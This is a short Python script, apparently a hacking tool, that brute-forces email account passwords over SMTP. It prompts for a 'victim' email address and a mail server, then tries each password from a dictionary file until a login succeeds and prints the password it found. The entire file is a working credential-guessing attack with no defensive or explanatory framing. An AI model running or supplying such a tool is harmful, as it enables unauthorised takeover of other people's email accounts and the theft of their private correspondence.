import smtplib
 
victim_id = input('\n[+] Please Enter Victim Email Id:')
smtphost = input('\n[+] Please Enter Smtp Address For Server(eg. smpt.gmail.com):')
print('\n#use 587  for gmail and use 465 for yahoo#')
port = input('\n[+]Please Enter Port for connecting to Smtp Server:')
print('\nuse 587  for gmail and use 465 for yahoo')
file = open("dict.txt",'r')
 
for pas in file:
    password = pas.rstrip()
    print("\n[+]Trying:",password)
    try:
        server = smtplib.SMTP(smtphost,port)
        server.ehlo()
        server.starttls()
        server.login(victim_id,password)
        print("\n\n\n\n[+]Password Found:",password)
        break
    except:
        pass
       
input("\n[+]Press Any key To Exit")

